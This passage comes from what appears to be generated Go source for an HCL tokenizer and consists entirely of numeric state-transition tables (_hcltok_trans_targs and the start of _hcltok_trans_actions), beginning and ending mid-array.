 1045, 795, 1046, 795, 1045, 795, 1046, 1046,\n    1046, 795, 1046, 1045, 1046, 795, 1046, 1045,\n    795, 1046, 1045, 1046, 795, 1046, 1045, 795,\n    1046, 1045, 795, 1046, 795, 1046, 1045, 795,\n    1046, 1045, 795, 1046, 1045, 1081, 1082, 1083,\n    1084, 1085, 1086, 1087, 1088, 1089, 1090, 1091,\n    1092, 1052, 1093, 1094, 1095, 1096, 1097, 1094,\n    1098, 1099, 1100, 1101, 1102, 1103, 1104, 1105,\n    1106, 1047, 1045, 1046, 795, 1046, 1045, 1046,\n    795, 1046, 1045, 1046, 795, 1046, 1045, 1046,\n    795, 1046, 1045, 795, 1046, 795, 1046, 1045,\n    1046, 795, 1046, 1045, 1046, 795, 795, 795,\n    1046, 1045, 1046, 795, 1046, 1045, 1046, 1046,\n    1046, 1046, 795, 1046, 795, 1045, 1046, 1045,\n    795, 795, 1046, 795, 1046, 1045, 1046, 795,\n    1046, 1045, 795, 1046, 1045, 1046, 1046, 795,\n    1046, 1045, 795, 1046, 1045, 1046, 795, 1046,\n    1045, 795, 1046, 1045, 795, 1046, 1045, 795,\n    1046, 1045, 1046, 1045, 795, 795, 1046, 1045,\n    1046, 795, 1046, 1045, 795, 1046, 795, 1045,\n    1046, 1045, 795, 1050, 1107, 1047, 1050, 1108,\n    1050, 1109, 1059, 1047, 1045, 1046, 1045, 795,\n    1046, 1045, 795, 1050, 1108, 1059, 1047, 1045,\n    1050, 1110, 1047, 1059, 1047, 1045, 1046, 1045,\n    795, 1050, 1111, 1068, 1112, 1094, 1113, 1106,\n    1050, 1114, 1115, 1116, 1047, 1059, 1047, 1045,\n    1046, 1045, 795, 1046, 795, 1046, 1045, 795,\n    1046, 795, 1046, 795, 1045, 1046, 1046, 1045,\n    795, 1046, 795, 1046, 1045, 795, 1046, 1045,\n    1050, 1059, 801, 1045, 1117, 1050, 1118, 1059,\n    1047, 1045, 801, 1046, 1045, 795, 1046, 1045,\n    795, 1119, 1050, 1120, 1121, 1047, 1045, 795,\n    1046, 1045, 1046, 1046, 1045, 795, 795, 1046,\n    795, 1046, 1045, 1050, 1122, 1123, 1124, 1125,\n    1126, 1127, 1128, 1129, 1130, 1131, 1132, 1047,\n    1059, 1047, 1045, 1046, 795, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 795, 1046, 795, 1046,\n    1046, 1046, 1046, 1046, 1046, 1045, 795, 1046,\n    1046, 795, 1046, 795, 1045, 1046, 795, 1046,\n    1046, 1046, 795, 1046, 1046, 795, 1046, 1046,\n    795, 1046, 1046, 795, 1046, 1046, 1045, 795,\n    1050, 1133, 1050, 1109, 1134, 1135, 1136, 1047,\n    1059, 1047, 1045, 1046, 1045, 795, 1046, 1046,\n    1046, 795, 1046, 1046, 1046, 795, 1046, 795,\n    1046, 1045, 795, 795, 795, 795, 1046, 1046,\n    795, 795, 795, 795, 795, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 795, 1046, 795, 1046,\n    795, 1045, 1046, 1046, 1046, 795, 1046, 795,\n    1046, 1045, 1059, 801, 1137, 1050, 1059, 801,\n    1046, 1045, 795, 1138, 1050, 1139, 1059, 801,\n    1046, 1045, 795, 1046, 795, 1140, 1059, 1047,\n    1045, 801, 1046, 1045, 795, 1050, 1141, 1047,\n    1059, 1047, 1045, 1046, 1045, 795, 1142, 1143,\n    1144, 1142, 1145, 1146, 1147, 1149, 1150, 1151,\n    1152, 1153, 1154, 670, 670, 419, 1155, 1156,\n    1157, 1158, 670, 1161, 1162, 1164, 1165, 1166,\n    1160, 1167, 1168, 1169, 1170, 1171, 1172, 1173,\n    1174, 1175, 1176, 1177, 1178, 1179, 1180, 1181,\n    1182, 1183, 1184, 1185, 1186, 1188, 1189, 1190,\n    1191, 1192, 1193, 670, 1148, 7, 1148, 419,\n    1148, 419, 1160, 1163, 1187, 1194, 1159, 1142,\n    1142, 1195, 1143, 1196, 1198, 1197, 4, 1147,\n    1200, 1197, 1201, 1197, 2, 1147, 1197, 6,\n    8, 8, 7, 1202, 1203, 1204, 1197, 1205,\n    1206, 1197, 1207, 1197, 419, 419, 1209, 1210,\n    489, 470, 1211, 470, 1212, 1213, 1214, 1215,\n    1216, 1217, 1218, 1219, 1220, 1221, 1222, 544,\n    1223, 520, 1224, 1225, 1226, 1227, 1228, 1229,\n    1230, 1231, 1232, 1233, 1234, 1235, 419, 419,\n    419, 425, 565, 1208, 1236, 1197, 1237, 1197,\n    670, 1238, 419, 419, 419, 670, 1238, 670,\n    670, 419, 1238, 419, 1238, 419, 1238, 419,\n    670, 670, 670, 670, 670, 1238, 419, 670,\n    670, 670, 419, 670, 419, 1238, 419, 670,\n    670, 670, 670, 419, 1238, 670, 419, 670,\n    419, 670, 419, 670, 670, 419, 670, 1238,\n    419, 670, 419, 670, 419, 670, 1238, 670,\n    419, 1238, 670, 419, 670, 419, 1238, 670,\n    670, 670, 670, 670, 1238, 419, 419, 670,\n    419, 670, 1238, 670, 419, 1238, 670, 670,\n    1238, 419, 419, 670, 419, 670, 419, 670,\n    1238, 1239, 1240, 1241, 1242, 1243, 1244, 1245,\n    1246, 1247, 1248, 1249, 715, 1250, 1251, 1252,\n    1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260,\n    1261, 1260, 1262, 1263, 1264, 1265, 1266, 671,\n    1238, 1267, 1268, 1269, 1270, 1271, 1272, 1273,\n    1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281,\n    1282, 1283, 1284, 1285, 725, 1286, 1287, 1288,\n    692, 1289, 1290, 1291, 1292, 1293, 1294, 671,\n    1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302,\n    674, 1303, 671, 674, 1304, 1305, 1306, 1307,\n    683, 1238, 1308, 1309, 1310, 1311, 703, 1312,\n    1313, 683, 1314, 1315, 1316, 1317, 1318, 671,\n    1238, 1319, 1278, 1320, 1321, 1322, 683, 1323,\n    1324, 674, 671, 683, 425, 1238, 1288, 671,\n    674, 683, 425, 683, 425, 1325, 683, 1238,\n    425, 674, 1326, 1327, 674, 1328, 1329, 681,\n    1330, 1331, 1332, 1333, 1334, 1284, 1335, 1336,\n    1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344,\n    1345, 1346, 1303, 1347, 674, 683, 425, 1238,\n    1348, 1349, 683, 671, 1238, 425, 671, 1238,\n    674, 1350, 731, 1351, 1352, 1353, 1354, 1355,\n    1356, 1357, 1358, 671, 1359, 1360, 1361, 1362,\n    1363, 1364, 671, 683, 1238, 1366, 1367, 1368,\n    1369, 1370, 1371, 1372, 1373, 1374, 1375, 1376,\n    1372, 1378, 1379, 1380, 1381, 1365, 1377, 1365,\n    1238, 1365, 1238, 1382, 1382, 1383, 1384, 1385,\n    1386, 1387, 1388, 1389, 1390, 1387, 767, 1391,\n    1391, 1391, 1392, 1391, 1391, 768, 769, 770,\n    1391, 767, 1382, 1382, 1393, 1396, 1397, 1395,\n    1398, 1399, 1398, 1400, 1391, 1402, 1401, 1396,\n    1403, 1395, 1405, 1404, 1394, 1394, 1394, 768,\n    769, 770, 1394, 767, 767, 1406, 773, 1406,\n    1407, 1406, 775, 1408, 1409, 1410, 1411, 1412,\n    1413, 1414, 1411, 776, 775, 1408, 1415, 1415,\n    777, 779, 1416, 1415, 776, 1418, 1419, 1417,\n    1418, 1419, 1420, 1417, 775, 1408, 1421, 1415,\n    775, 1408, 1415, 1423, 1422, 1425, 1424, 776,\n    1426, 777, 1426, 779, 1426, 785, 1427, 1428,\n    1429, 1430, 1431, 1432, 1433, 1430, 786, 785,\n    1427, 1434, 1434, 787, 789, 1435, 1434, 786,\n    1437, 1438, 1436, 1437, 1438, 1439, 1436, 785,\n    1427, 1440, 1434, 785, 1427, 1434, 1442, 1441,\n    1444, 1443, 786, 1445, 787, 1445, 789, 1445,\n    795, 1448, 1449, 1451, 1452, 1453, 1447, 1454,\n    1455, 1456, 1457, 1458, 1459, 1460, 1461, 1462,\n    1463, 1464, 1465, 1466, 1467, 1468, 1469, 1470,\n    1471, 1472, 1473, 1475, 1476, 1477, 1478, 1479,\n    1480, 795, 795, 1446, 1447, 1450, 1474, 1481,\n    1446, 1046, 795, 795, 1483, 1484, 865, 846,\n    1485, 846, 1486, 1487, 1488, 1489, 1490, 1491,\n    1492, 1493, 1494, 1495, 1496, 920, 1497, 896,\n    1498, 1499, 1500, 1501, 1502, 1503, 1504, 1505,\n    1506, 1507, 1508, 1509, 795, 795, 795, 801,\n    941, 1482, 1046, 1510, 795, 795, 795, 1046,\n    1510, 1046, 1046, 795, 1510, 795, 1510, 795,\n    1510, 795, 1046, 1046, 1046, 1046, 1046, 1510,\n    795, 1046, 1046, 1046, 795, 1046, 795, 1510,\n    795, 1046, 1046, 1046, 1046, 795, 1510, 1046,\n    795, 1046, 795, 1046, 795, 1046, 1046, 795,\n    1046, 1510, 795, 1046, 795, 1046, 795, 1046,\n    1510, 1046, 795, 1510, 1046, 795, 1046, 795,\n    1510, 1046, 1046, 1046, 1046, 1046, 1510, 795,\n    795, 1046, 795, 1046, 1510, 1046, 795, 1510,\n    1046, 1046, 1510, 795, 795, 1046, 795, 1046,\n    795, 1046, 1510, 1511, 1512, 1513, 1514, 1515,\n    1516, 1517, 1518, 1519, 1520, 1521, 1091, 1522,\n    1523, 1524, 1525, 1526, 1527, 1528, 1529, 1530,\n    1531, 1532, 1533, 1532, 1534, 1535, 1536, 1537,\n    1538, 1047, 1510, 1539, 1540, 1541, 1542, 1543,\n    1544, 1545, 1546, 1547, 1548, 1549, 1550, 1551,\n    1552, 1553, 1554, 1555, 1556, 1557, 1101, 1558,\n    1559, 1560, 1068, 1561, 1562, 1563, 1564, 1565,\n    1566, 1047, 1567, 1568, 1569, 1570, 1571, 1572,\n    1573, 1574, 1050, 1575, 1047, 1050, 1576, 1577,\n    1578, 1579, 1059, 1510, 1580, 1581, 1582, 1583,\n    1079, 1584, 1585, 1059, 1586, 1587, 1588, 1589,\n    1590, 1047, 1510, 1591, 1550, 1592, 1593, 1594,\n    1059, 1595, 1596, 1050, 1047, 1059, 801, 1510,\n    1560, 1047, 1050, 1059, 801, 1059, 801, 1597,\n    1059, 1510, 801, 1050, 1598, 1599, 1050, 1600,\n    1601, 1057, 1602, 1603, 1604, 1605, 1606, 1556,\n    1607, 1608, 1609, 1610, 1611, 1612, 1613, 1614,\n    1615, 1616, 1617, 1618, 1575, 1619, 1050, 1059,\n    801, 1510, 1620, 1621, 1059, 1047, 1510, 801,\n    1047, 1510, 1050, 1622, 1107, 1623, 1624, 1625,\n    1626, 1627, 1628, 1629, 1630, 1047, 1631, 1632,\n    1633, 1634, 1635, 1636, 1047, 1059, 1510, 1638,\n    1639, 1640, 1641, 1642, 1643, 1644, 1645, 1646,\n    1647, 1648, 1644, 1650, 1651, 1652, 1653, 1637,\n    1649, 1637, 1510, 1637, 1510,\n}\n\nvar _hcltok_trans_targs []int16 = []int16{\n    1459, 1459, 2, 3, 1459, 1459, 4, 1467,\n    5, 6, 8, 9, 286, 12, 13, 14,\n    15, 16, 287, 288, 19, 289, 21, 22,\n    290, 291, 292, 293, 294, 295, 296, 297,\n    298, 299, 328, 348, 353, 127, 128, 129,\n    356, 151, 371, 375, 1459, 10, 11, 17,\n    18, 20, 23, 24, 25, 26, 27, 28,\n    29, 30, 31, 32, 64, 105, 120, 131,\n    154, 170, 283, 33, 34, 35, 36, 37,\n    38, 39, 40, 41, 42, 43, 44, 45,\n    46, 47, 48, 49, 50, 51, 52, 53,\n    54, 55, 56, 57, 58, 59, 60, 61,\n    62, 63, 65, 66, 67, 68, 69, 70,\n    71, 72, 73, 74, 75, 76, 77, 78,\n    79, 80, 81, 82, 83, 84, 85, 86,\n    87, 88, 89, 90, 91, 92, 93, 94,\n    95, 96, 97, 98, 99, 100, 101, 102,\n    103, 104, 106, 107, 108, 109, 110, 111,\n    112, 113, 114, 115, 116, 117, 118, 119,\n    121, 122, 123, 124, 125, 126, 130, 132,\n    133, 134, 135, 136, 137, 138, 139, 140,\n    141, 142, 143, 144, 145, 146, 147, 148,\n    149, 150, 152, 153, 155, 156, 157, 158,\n    159, 160, 161, 162, 163, 164, 165, 166,\n    167, 168, 169, 171, 203, 227, 230, 231,\n    233, 242, 243, 246, 250, 268, 275, 277,\n    279, 281, 172, 173, 174, 175, 176, 177,\n    178, 179, 180, 181, 182, 183, 184, 185,\n    186, 187, 188, 189, 190, 191, 192, 193,\n    194, 195, 196, 197, 198, 199, 200, 201,\n    202, 204, 205, 206, 207, 208, 209, 210,\n    211, 212, 213, 214, 215, 216, 217, 218,\n    219, 220, 221, 222, 223, 224, 225, 226,\n    228, 229, 232, 234, 235, 236, 237, 238,\n    239, 240, 241, 244, 245, 247, 248, 249,\n    251, 252, 253, 254, 255, 256, 257, 258,\n    259, 260, 261, 262, 263, 264, 265, 266,\n    267, 269, 270, 271, 272, 273, 274, 276,\n    278, 280, 282, 284, 285, 300, 301, 302,\n    303, 304, 305, 306, 307, 308, 309, 310,\n    311, 312, 313, 314, 315, 316, 317, 318,\n    319, 320, 321, 322, 323, 324, 325, 326,\n    327, 329, 330, 331, 332, 333, 334, 335,\n    336, 337, 338, 339, 340, 341, 342, 343,\n    344, 345, 346, 347, 349, 350, 351, 352,\n    354, 355, 357, 358, 359, 360, 361, 362,\n    363, 364, 365, 366, 367, 368, 369, 370,\n    372, 373, 374, 376, 382, 404, 409, 411,\n    413, 377, 378, 379, 380, 381, 383, 384,\n    385, 386, 387, 388, 389, 390, 391, 392,\n    393, 394, 395, 396, 397, 398, 399, 400,\n    401, 402, 403, 405, 406, 407, 408, 410,\n    412, 414, 1459, 1471, 1459, 437, 438, 439,\n    440, 417, 441, 442, 443, 444, 445, 446,\n    447, 448, 449, 450, 451, 452, 453, 454,\n    455, 456, 457, 458, 459, 460, 461, 462,\n    463, 464, 465, 466, 467, 469, 470, 471,\n    472, 473, 474, 475, 476, 477, 478, 479,\n    480, 481, 482, 483, 484, 485, 419, 486,\n    487, 488, 489, 490, 491, 492, 493, 494,\n    495, 496, 497, 498, 499, 500, 501, 502,\n    503, 418, 504, 505, 506, 507, 508, 510,\n    511, 512, 513, 514, 515, 516, 517, 518,\n    519, 520, 521, 522, 523, 525, 526, 527,\n    528, 529, 530, 534, 536, 537, 538, 539,\n    434, 540, 541, 542, 543, 544, 545, 546,\n    547, 548, 549, 550, 551, 552, 553, 554,\n    556, 557, 559, 560, 561, 562, 563, 564,\n    432, 565, 566, 567, 568, 569, 570, 571,\n    572, 573, 575, 607, 631, 634, 635, 637,\n    646, 647, 650, 654, 672, 532, 679, 681,\n    683, 685, 576, 577, 578, 579, 580, 581,\n    582, 583, 584, 585, 586, 587, 588, 589,\n    590, 591, 592, 593, 594, 595, 596, 597,\n    598, 599, 600, 601, 602, 603, 604, 605,\n    606, 608, 609, 610, 611, 612, 613, 614,\n    615, 616, 617, 618, 619, 620, 621, 622,\n    623, 624, 625, 626, 627, 628, 629, 630,\n    632, 633, 636, 638, 639, 640, 641, 642,\n    643, 644, 645, 648, 649, 651, 652, 653,\n    655, 656, 657, 658, 659, 660, 661, 662,\n    663, 664, 665, 666, 667, 668, 669, 670,\n    671, 673, 674, 675, 676, 677, 678, 680,\n    682, 684, 686, 688, 689, 1459, 1459, 690,\n    827, 828, 759, 829, 830, 831, 832, 833,\n    834, 788, 835, 724, 836, 837, 838, 839,\n    840, 841, 842, 843, 744, 844, 845, 846,\n    847, 848, 849, 850, 851, 852, 853, 769,\n    854, 856, 857, 858, 859, 860, 861, 862,\n    863, 864, 865, 702, 866, 867, 868, 869,\n    870, 871, 872, 873, 874, 740, 875, 876,\n    877, 878, 879, 810, 881, 882, 885, 887,\n    888, 889, 890, 891, 892, 895, 896, 898,\n    899, 900, 902, 903, 904, 905, 906, 907,\n    908, 909, 910, 911, 912, 914, 915, 916,\n    917, 920, 922, 923, 925, 927, 1509, 1510,\n    929, 930, 931, 1509, 1509, 932, 1523, 1523,\n    1524, 935, 1523, 936, 1525, 1526, 1529, 1530,\n    1534, 1534, 1535, 941, 1534, 942, 1536, 1537,\n    1540, 1541, 1545, 1546, 1545, 968, 969, 970,\n    971, 948, 972, 973, 974, 975, 976, 977,\n    978, 979, 980, 981, 982, 983, 984, 985,\n    986, 987, 988, 989, 990, 991, 992, 993,\n    994, 995, 996, 997, 998, 1000, 1001, 1002,\n    1003, 1004, 1005, 1006, 1007, 1008, 1009, 1010,\n    1011, 1012, 1013, 1014, 1015, 1016, 950, 1017,\n    1018, 1019, 1020, 1021, 1022, 1023, 1024, 1025,\n    1026, 1027, 1028, 1029, 1030, 1031, 1032, 1033,\n    1034, 949, 1035, 1036, 1037, 1038, 1039, 1041,\n    1042, 1043, 1044, 1045, 1046, 1047, 1048, 1049,\n    1050, 1051, 1052, 1053, 1054, 1056, 1057, 1058,\n    1059, 1060, 1061, 1065, 1067, 1068, 1069, 1070,\n    965, 1071, 1072, 1073, 1074, 1075, 1076, 1077,\n    1078, 1079, 1080, 1081, 1082, 1083, 1084, 1085,\n    1087, 1088, 1090, 1091, 1092, 1093, 1094, 1095,\n    963, 1096, 1097, 1098, 1099, 1100, 1101, 1102,\n    1103, 1104, 1106, 1138, 1162, 1165, 1166, 1168,\n    1177, 1178, 1181, 1185, 1203, 1063, 1210, 1212,\n    1214, 1216, 1107, 1108, 1109, 1110, 1111, 1112,\n    1113, 1114, 1115, 1116, 1117, 1118, 1119, 1120,\n    1121, 1122, 1123, 1124, 1125, 1126, 1127, 1128,\n    1129, 1130, 1131, 1132, 1133, 1134, 1135, 1136,\n    1137, 1139, 1140, 1141, 1142, 1143, 1144, 1145,\n    1146, 1147, 1148, 1149, 1150, 1151, 1152, 1153,\n    1154, 1155, 1156, 1157, 1158, 1159, 1160, 1161,\n    1163, 1164, 1167, 1169, 1170, 1171, 1172, 1173,\n    1174, 1175, 1176, 1179, 1180, 1182, 1183, 1184,\n    1186, 1187, 1188, 1189, 1190, 1191, 1192, 1193,\n    1194, 1195, 1196, 1197, 1198, 1199, 1200, 1201,\n    1202, 1204, 1205, 1206, 1207, 1208, 1209, 1211,\n    1213, 1215, 1217, 1219, 1220, 1545, 1545, 1221,\n    1358, 1359, 1290, 1360, 1361, 1362, 1363, 1364,\n    1365, 1319, 1366, 1255, 1367, 1368, 1369, 1370,\n    1371, 1372, 1373, 1374, 1275, 1375, 1376, 1377,\n    1378, 1379, 1380, 1381, 1382, 1383, 1384, 1300,\n    1385, 1387, 1388, 1389, 1390, 1391, 1392, 1393,\n    1394, 1395, 1396, 1233, 1397, 1398, 1399, 1400,\n    1401, 1402, 1403, 1404, 1405, 1271, 1406, 1407,\n    1408, 1409, 1410, 1341, 1412, 1413, 1416, 1418,\n    1419, 1420, 1421, 1422, 1423, 1426, 1427, 1429,\n    1430, 1431, 1433, 1434, 1435, 1436, 1437, 1438,\n    1439, 1440, 1441, 1442, 1443, 1445, 1446, 1447,\n    1448, 1451, 1453, 1454, 1456, 1458, 1460, 1459,\n    1461, 1462, 1459, 1463, 1459, 1464, 1465, 1466,\n    1468, 1469, 1470, 1459, 1472, 1459, 1473, 1459,\n    1474, 1475, 1476, 1477, 1478, 1479, 1480, 1481,\n    1482, 1483, 1484, 1485, 1486, 1487, 1488, 1489,\n    1490, 1491, 1492, 1493, 1494, 1495, 1496, 1497,\n    1498, 1499, 1500, 1501, 1502, 1503, 1504, 1505,\n    1506, 1507, 1508, 1459, 1459, 1459, 1459, 1459,\n    1459, 1, 1459, 7, 1459, 1459, 1459, 1459,\n    1459, 415, 416, 420, 421, 422, 423, 424,\n    425, 426, 427, 428, 429, 430, 431, 433,\n    435, 436, 468, 509, 524, 531, 533, 535,\n    555, 558, 574, 687, 1459, 1459, 1459, 691,\n    692, 693, 694, 695, 696, 697, 698, 699,\n    700, 701, 703, 704, 705, 706, 707, 708,\n    709, 710, 711, 712, 713, 714, 715, 716,\n    717, 718, 719, 720, 721, 722, 723, 725,\n    726, 727, 728, 729, 730, 731, 732, 733,\n    734, 735, 736, 737, 738, 739, 741, 742,\n    743, 745, 746, 747, 748, 749, 750, 751,\n    752, 753, 754, 755, 756, 757, 758, 760,\n    761, 762, 763, 764, 765, 766, 767, 768,\n    770, 771, 772, 773, 774, 775, 776, 777,\n    778, 779, 780, 781, 782, 783, 784, 785,\n    786, 787, 789, 790, 791, 792, 793, 794,\n    795, 796, 797, 798, 799, 800, 801, 802,\n    803, 804, 805, 806, 807, 808, 809, 811,\n    812, 813, 814, 815, 816, 817, 818, 819,\n    820, 821, 822, 823, 824, 825, 826, 855,\n    880, 883, 884, 886, 893, 894, 897, 901,\n    913, 918, 919, 921, 924, 926, 1511, 1509,\n    1512, 1517, 1519, 1509, 1520, 1521, 1522, 1509,\n    928, 1509, 1509, 1513, 1514, 1516, 1509, 1515,\n    1509, 1509, 1509, 1518, 1509, 1509, 1509, 933,\n    934, 938, 939, 1523, 1531, 1532, 1533, 1523,\n    937, 1523, 1523, 934, 1527, 1528, 1523, 1523,\n    1523, 1523, 1523, 940, 944, 945, 1534, 1542,\n    1543, 1544, 1534, 943, 1534, 1534, 940, 1538,\n    1539, 1534, 1534, 1534, 1534, 1534, 1545, 1547,\n    1548, 1549, 1550, 1551, 1552, 1553, 1554, 1555,\n    1556, 1557, 1558, 1559, 1560, 1561, 1562, 1563,\n    1564, 1565, 1566, 1567, 1568, 1569, 1570, 1571,\n    1572, 1573, 1574, 1575, 1576, 1577, 1578, 1579,\n    1580, 1581, 1545, 946, 947, 951, 952, 953,\n    954, 955, 956, 957, 958, 959, 960, 961,\n    962, 964, 966, 967, 999, 1040, 1055, 1062,\n    1064, 1066, 1086, 1089, 1105, 1218, 1545, 1222,\n    1223, 1224, 1225, 1226, 1227, 1228, 1229, 1230,\n    1231, 1232, 1234, 1235, 1236, 1237, 1238, 1239,\n    1240, 1241, 1242, 1243, 1244, 1245, 1246, 1247,\n    1248, 1249, 1250, 1251, 1252, 1253, 1254, 1256,\n    1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264,\n    1265, 1266, 1267, 1268, 1269, 1270, 1272, 1273,\n    1274, 1276, 1277, 1278, 1279, 1280, 1281, 1282,\n    1283, 1284, 1285, 1286, 1287, 1288, 1289, 1291,\n    1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299,\n    1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308,\n    1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316,\n    1317, 1318, 1320, 1321, 1322, 1323, 1324, 1325,\n    1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333,\n    1334, 1335, 1336, 1337, 1338, 1339, 1340, 1342,\n    1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350,\n    1351, 1352, 1353, 1354, 1355, 1356, 1357, 1386,\n    1411, 1414, 1415, 1417, 1424, 1425, 1428, 1432,\n    1444, 1449, 1450, 1452, 1455, 1457,\n}\n\nvar _hcltok_trans_actions []byte = []byte{\n    145, 107, 0, 0, 91, 141, 0, 7,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 121, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 143, 193, 149, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 147, 125, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 31, 169,\n    0, 0, 0, 35, 33, 0, 55, 41,\n    175, 0, 53, 0, 175, 175, 0, 0,\n    75, 61, 181, 0, 73, 0, 181, 181,\n    0, 0, 85, 187, 89, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 87, 79, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    